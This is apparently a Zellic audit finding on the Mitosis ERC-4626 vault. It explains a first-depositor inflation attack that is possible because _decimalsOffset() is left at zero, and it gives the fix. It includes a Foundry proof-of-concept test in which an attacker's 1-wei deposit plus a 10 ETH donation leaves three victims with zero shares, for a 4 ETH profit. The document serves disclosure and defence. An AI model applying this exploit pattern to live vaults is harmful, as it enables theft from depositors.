Assessment reports>Mitosis>High findings>First depositor inflation attack via missing ,_decimalsOffset(), override in ERC-4626 vault
Category: Coding Mistakes

First depositor inflation attack via missing _decimalsOffset() override in ERC-4626 vault

High Impact
High Severity
Low Likelihood

Description

There is an issue in the ERC-4626 implementation of the MitosisVault contract. The current implementation has the _decimalsOffset() function returning the default value of 0, making it susceptible to a first-depositor attack.

Examine Solady's ERC-4626 implementation:

/// @dev Override to return a non-zero value to make the inflation attack even more unfeasible.
/// Only used when {_useVirtualShares} returns true.
/// Default: 0.
///
/// - MUST NOT revert.
function _decimalsOffset() internal view virtual returns (uint8) {
    return _DEFAULT_DECIMALS_OFFSET;
}

/// @dev The default decimals offset.
uint8 internal constant _DEFAULT_DECIMALS_OFFSET = 0;

This _decimalsOffset function is used within the convertToShares function:

function convertToShares(uint256 assets) public view virtual returns (uint256 shares) {
    if (!_useVirtualShares()) {
        uint256 supply = totalSupply();
        return _eitherIsZero(assets, supply)
            ? _initialConvertToShares(assets)
            : FixedPointMathLib.fullMulDiv(assets, supply, totalAssets());
    }
    uint256 o = _decimalsOffset();
    if (o == uint256(0)) {
        return FixedPointMathLib.fullMulDiv(assets, totalSupply() + 1, _inc(totalAssets()));
    }
    return FixedPointMathLib.fullMulDiv(assets, totalSupply() + 10 ** o, _inc(totalAssets()));
}

This issue becomes particularly concerning when the virtual supply is only 1 and multiple deposits of similar size occur within a single block. In this scenario, an attacker who happens to be the block proposer could exploit the first-depositor bug to gain an unfair advantage.

To verify this, a proof of concept (POC) test was created that demonstrates the attack vector:

function test_first_deposit_attack_to_multiple_deposits() public {
    address victim1 = vm.addr(0x9708);
    address victim2 = vm.addr(0x9709);
    address victim3 = vm.addr(0x970a);
    address attacker = vm.addr(0x9999);

    vm.deal(attacker, 100 ether);
    vm.deal(victim1, 100 ether);
    vm.deal(victim2, 100 ether);
    vm.deal(victim3, 100 ether);

    vm.startPrank(attacker);
    weth.deposit{ value: 100 ether }();
    weth.approve(address(vault), type(uint256).max);
    vault.deposit(1, attacker);
    console.log("attacker share in vault : %d", vault.balanceOf(attacker));
    weth.transfer(address(vault), 10 ether);
    vm.stopPrank();

    vm.startPrank(victim1);
    weth.deposit{ value: 100 ether }();
    weth.approve(address(vault), type(uint256).max);
    vault.deposit(5 ether, victim1);
    console.log("victim1 share in vault : %d", vault.balanceOf(victim1));
    vm.stopPrank();

    vm.startPrank(victim2);
    weth.deposit{ value: 100 ether }();
    weth.approve(address(vault), type(uint256).max);

    vault.deposit(6 ether, victim2);
    console.log("victim2 share in vault : %d", vault.balanceOf(victim2));
    vm.stopPrank();

    vm.startPrank(victim3);
    weth.deposit{ value: 100 ether }();
    weth.approve(address(vault), type(uint256).max);

    vault.deposit(7 ether, victim3);
    console.log("victim3 share in vault : %d", vault.balanceOf(victim3));
    vm.stopPrank();

    vm.startPrank(attacker);
    vault.redeem(1, attacker, attacker);
    console.log("attacker balance after attack : %d", weth.balanceOf(attacker));
    vm.stopPrank();
}

As shown, the attacker deposits just 1 Wei, donates 10 ETH to the vault, and then when victims deposit 5 ETH, 6 ETH, and 7 ETH respectively, they receive zero shares:

attacker share in vault : 1
victim1 share in vault : 0
victim2 share in vault : 0
victim3 share in vault : 0
attacker balance after attack : 104000000000000000000

The attacker ultimately redeems their single share for 104 ETH, representing a 4 ETH profit at the expense of other depositors.

Impact

This issue is particularly dangerous in MEV-prone environments or when multiple transactions are included in the same block by a malicious proposer.

Recommendations

To mitigate this issue, it is recommended to override the _decimalsOffset() function to return a value 6--8, which is a common mitigation strategy in ERC-4626 implementations to prevent first-depositor attacks.

function _decimalsOffset() internal view virtual override returns (uint8) {
    return 6; // or an appropriate value between 6-8
}

This change would significantly strengthen the contract against first-depositor attacks. A higher decimals' offset value normalizes the initial share ratio, making it more difficult for attackers to gain disproportionate benefits.

Remediation

This issue has been acknowledged by Mitosis, and a fix was implemented in commit 65b4febd.

Zellic © 2025Back to top ↑